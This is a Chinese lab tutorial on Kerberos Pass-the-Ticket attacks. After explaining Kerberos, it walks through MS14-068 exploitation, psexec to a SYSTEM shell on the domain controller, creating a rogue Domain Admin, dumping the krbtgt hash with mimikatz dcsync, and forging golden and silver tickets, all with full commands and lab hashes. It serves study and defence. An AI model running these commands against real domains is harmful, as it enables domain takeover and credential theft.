文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

PTT 票据传递攻击(Pass the Ticket)

描述:

PTT票据传递主要根据kerberos协议&kerberos认证原理来进行攻击:
kerberos原理:打个比方:就好比A需要进入公司办公处,首先需要去门卫处验证是否是这个公司的人(也就是通过AS的认证);然后通过门卫确认后,拿着门卫的凭证(也就是我们所需要TGT)去办公处里面,这时候我们如果需要去领导办公室查询资料(就是访问Sever),那么就需要通过办公处的前台去登记,让前台确认我们是否有去查询的资格,当确认我们有资格后会给予凭证(就是ST),我们就可以拿着这个凭证去领导办公室查询资料了。
借用我们上面的比方:来带入我们kerberos中:

  • 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信;
  • 认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket GrantingTicket);
  • Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限;
  • 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(ServiceTicket);
  • Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server有效;
  • 最终 Server 和 Client 建立通信。
    如图就是这样的六步:

    而我们下面要说的所谓的黄金票据和白银票据,借用我们上面的比方来进行讲解,让人更容易去理解:
    黄金票据:就是我们攻击者伪装成这个公司的员工,自己伪造了一个门卫的凭证(TGT),因此就不需要和门卫(AS)去登记,进入办公区(KDC)后,窃取了一个万能凭证(就是krbtgt账号),拥有这个凭证就可以自有出入领导办公室查询资料。
    白银票据:就是我们的攻击者拿到了这个公司领导办公室侧门的钥匙(也就是可以利用部分的服务,比如cifs),他都不需要进入办公区(KDC)去找前台登记给予凭证(ST),拥有了钥匙直接去打开领导办公室的侧门进入查询资料。

票据传递攻击:

域内常用的两种攻击方式,分别为黄金票据和白银票据:

黄金票据原理:

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点:

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash。

MS14-068

这个漏洞的原理就和黄金票据相似,所以我们先来复现这个漏洞:

原理:

通过生成黄金票据,导入工具中,将一个普通权限的域用户获取域管的使用权限,从而达到控制整个域。
当获取域用户时,对这个域进行信息收集:
获取是否MS14-068相应补丁情况:

systeminfo | findstr "3011780"

返回为空则没有相应的补丁

ms14-068exp使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址

收集域成员的SID:

whoami /all
whoami /user #只单独查询SID


收集域管账号及域名称:

net time #获取域管账号
net config workstation #获取域信息
nltest /dsgetdc:moonsec #获取域管信息



构造成08server-dc.moonsec.fbi,在制作黄金票据中使用:
利用ms14-068的exp来生成一个黄金票据:

ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi


这里我们可以先看下票据未导入前,是无法查看域控的C盘:

dir \\08server-dc.moonsec.fbi\C$  #这里必须使用计算机全名去查看,IP地址是不行的。


使用mimitakz导入票据:

kerberos::purge  #清空票据
kerberos::ptc 票据 #导入票据
kerberos::list #查看票据


再次查看域控的C盘,现在是可以访问的:

dir \\08server-dc.moonsec.fbi\C$


使用psexec反弹cmd:

Psexec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe


将cmd反弹出来,即可创建域管账号:

net user Longwaer QWEasd123 /add /domain
net group "Domain Admins" Longwaer /add /domain

金票制作:

这里我们已经假设获得了域管权限,然后我们利用mimikatz导出krbtgt账号信息:

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt


利用mimikatz生成黄金票据:

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit


将票据注入内存:

kerberos::purge #清除票据
kerberos:: ptt 票据 #将票据注入内存

成功访问:

白银票据原理:

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

特点:

不需要与KDC进行交互;需要server的NTLM hash。

银票制作:

假设我们已经获得域管权限,使用mimikatz导出信息:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt


然后利用server的NTLM hash制作银票:
使用方法:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:d0584c0b6d8ef7693ecaca2469348555 /user:administrator /ptt

这里rc4:使用的是08server-dc的ntlm hash

使用kekeo,制作银票:

tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
kerberos::ptt 票据

金票和银票之前的区别:

获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

域渗透PTT票据传递攻击(Pass the Ticket)相关推荐

  1. 内网渗透之PPT票据传递攻击(Pass the Ticket)

    文章目录 内网渗透之PPT票据传递攻击(Pass the Ticket) 前言 Kerberos 协议& Kerberos 认证原理 Kerberos 认证原理 ASREQ & ASR ...

  2. 内网横向移动|PTT票据传递横向|Mimikatz Kerberos

    票据传递攻击(Pass the Ticket,PtT) 票据传递攻击(PtT)是基于Kerberos认证的一种攻击方法,常用来做后渗透权限维持,黄金票据攻击利用的前提是得到了域内krbtgt用户的NT ...

  3. 内网横向渗透之各种传递攻击

    内网横向渗透之各种传递攻击 前言 在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透. ...

  4. 域渗透-SPN与kerberoast攻击

    一:SPN服务主体名称 SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP.MSSQL.MySQL等服务)的唯一标识符. 1.1:SPN介绍 Kerbero ...

  5. 域渗透 | 白银票据利用

    安全库:http://www.seclibs.com/ 网络安全爱好者的安全导航,专注收集信安.红队常用网站.工具和技术博客 目录 0x01 介绍 0x02 白银票据利用 0x01 介绍 之前,我们已 ...

  6. 域渗透-白银票据和黄金票据的利用

    最近做了一些靶场域渗透的实验,记录下一些关于白银票据和黄金票据的问题. 0x01 白银票据的利用 1 环境信息 域控DC 192.168.183.130 域内主机win7 192.168.183.12 ...

  7. 域渗透|NTLM 中继攻击

    作者: r0n1n 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x01 前言 进入内网之后想获取运维人员(特定人员)的系统密码,在已经获得内网Linux或者代理隧道的前 ...

  8. 《域渗透攻防指南》签名版预售来啦

    千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...

  9. 【内网学习笔记】21、哈希传递与票据传递

    1.哈希传递 哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式. 通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Win ...

最新文章

  1. Docker入门与实践
  2. 【C 语言】字符串操作 ( C 字符串 | 字符数组始化 )
  3. Zookeeper+kafka集群搭建,问题(zoo.cfg file is running,it‘s probably not running,option ‘UseCompressedOops‘)
  4. java 是否继续操作?代码
  5. IBM收购以色列应用发现公司EZSource
  6. 一起来庆祝 .NET 20 周年!
  7. mongodb mongod 参数解释
  8. 如何解决终端图标显示异常?
  9. 概率论数理统计笔记01(对应教材——《概率论与数理统计》(同济大学出版社出版))
  10. Netty中ChannelOption属性含义
  11. android tablayout放图片,Android TabLayout的Indicator如何设置为图片
  12. 添加了排比句的狗屁不通生成器
  13. androidStudio Lambda表达式的引入
  14. U盘在电脑上不显示怎么办?
  15. 什么是AQS?AQS有什么作用?常见的基于AQS的组件有哪些?
  16. 教你远程桌面如何传递声音
  17. cgb2110-day13
  18. 百度被黑了,百度被真相曝光
  19. ESG评级:Ecovadis
  20. 理解ClassLoader

热门文章

  1. ng zorro input readonly 的使用
  2. Pygame入门——游戏基础及插入图片
  3. PS化妆品美工,化妆品瓶子类淘宝美…
  4. wps流程图怎么不能添加文字_怎样使用WPS文字快速制作美观的流程图
  5. 博图V15,16,烟气处理SNCR脱销组态王/博途WINCC1500工程实例
  6. 20230208-20230212工作及生活总结
  7. unity 获取字符串长度及获取不重复数字
  8. 卷积、傅里叶级数、傅里叶变换、快速傅里叶变换、pytorch中的fft,rfft
  9. SCP 提示 Permission denied, please try again.解决方法
  10. php高效遍历,PHP 遍历数组的三种方法及效率对比分析